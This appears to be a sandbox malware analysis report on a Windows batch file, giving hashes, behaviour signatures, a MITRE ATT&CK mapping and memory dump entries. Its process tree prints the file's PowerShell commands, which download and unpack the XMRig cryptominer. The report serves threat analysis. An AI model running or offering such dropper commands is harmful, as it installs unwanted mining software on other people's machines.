c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1561s
max time network
1562s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 18:07

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General

Target

7.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1256	powershell.exe
6	1256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2568	powershell.exe
1256	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1256	powershell.exe
2568	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 1256	1632	cmd.exe	29
PID 1632 wrote to memory of 1256	1632	cmd.exe	29
PID 1632 wrote to memory of 1256	1632	cmd.exe	29
PID 1632 wrote to memory of 2568	1632	cmd.exe	30
PID 1632 wrote to memory of 2568	1632	cmd.exe	30
PID 1632 wrote to memory of 2568	1632	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6c8facc1ce5d48a1173630e8e6c2af23

SHA1
fe88292679cfc874c7ac0b984c59eb7af3946dac

SHA256
69f9dc234cbfd74bd03d6525a89909d28c9ac324d6e93f5581efb10d225cdcc8

SHA512
e498db84d3ef39dc347d1d118ec26548cbd7b4598c746c112263cb265ddc9f630424ac5d0d47eda8e4ec342d77f6818cf44d1cbdf1c78a9bfc372b7a14b913ff

Download Submit
memory/1256-4-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmp

Filesize
4KB

Download
memory/1256-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/1256-9-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-8-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-7-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1256-10-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-11-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-18-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download
memory/2568-17-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download